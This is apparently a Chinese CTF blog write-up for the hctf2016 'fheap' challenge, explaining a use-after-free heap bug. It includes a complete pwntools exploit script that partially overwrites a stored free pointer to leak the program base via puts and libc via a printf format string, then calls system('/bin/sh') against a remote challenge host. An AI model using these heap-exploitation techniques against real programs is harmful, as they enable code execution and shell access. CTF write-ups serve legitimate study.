hctf2016_fheap
保护测略
程序分析
只有两个程序功能,创建和删除
这道题每申请一个chunk前会创造一个用于存放信息的chunk,这类的题一般是控制或改变用于存放信息的chunk来展开攻击,
而且当输入的大小小于0xf时会把信息放到存放信息的chunk中,
漏洞利用
这道题的漏洞就是uaf,但是没有给show功能,但是发现我们可以修改got表,再加上free函数的地址放到存放信息的chunk中,利用小于0xf时会把信息放到存放信息的chunk中,free函数的地址也放到存放信息地chunk这几点来修改got表来达到
1、泄露程序基地址
2、泄露libc地址
3、执行system(/bin/sh)
上面三步基本都一样,所以就讲一下第一个
new(0x60,'\x00')#0 是不是0x60都可以反正是根据输入的大小来决定大小的
new(0x60,'\x00')#1
delete(1)
delete(0)
因为大小都小于0xf所以都放到存放信息的chunk中,这么做的一个主要原因是这个chunk中有一个程序的地址(执行free的chunk,)而且可以被执行,所以只要修改后一个半的字节就可以改为puts的plt地址用于puts的plt地址(也就是程序中地址)
当有了程序基地址后就可以知道printf的plt地址,基本步骤跟上面一样,执行printf函数实现格式化漏洞攻击的得到libc基地址,然后就是执行system函数
exp
from tools import*
context.log_level='debug'
context.arch='amd64'
def new(size,context):
p.sendlineafter('3.quit\n','create ')
p.sendlineafter('Pls give string size:',str(size))
p.sendafter('str:',context)
def delete(index):
p.sendlineafter('3.quit\n','delete ')
p.sendlineafter('id:',str(index))
p.sendlineafter('Are you sure?:','yes')
def pwn():
new(0x60,'\x00')#0
new(0x60,'\x00')#1
delete(1)
delete(0)
payload=b'a'*0x18+p64(0xd990)
new(0x60,payload)
debug(p,'pie',0xEE7,0xFF0,0xE56)
delete(1)
p.recvuntil(b'a'*0x18)
leak_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_addr')
base_addr=leak_addr-0x990
log_addr('base_addr')
#leak libc_addr
delete(0)
payload=b'%21$p'+b'a'*(0x18-5)+p64(e.plt['printf']+base_addr)
new(0x60,payload)
delete(1)
leak_libc=int(p.recv(14),16)
libc_base=leak_libc-0x78c0f
log_addr('libc_base')
sys_addr=libc_base+libc.symbols['system']
delete(0)
payload=b'/bin/sh;'.ljust(0x18,b'a')+p64(sys_addr)
new(0x60,payload)
delete(1)
p.interactive()
while 1:
try :
p,e,libc=load('a','node4.buuoj.cn:26630')
pwn()
except:
p.close()
标签:addr,libc,chunk,hctf2016,fheap,new,0x60,delete
From: https://www.cnblogs.com/trunk/p/16913217.html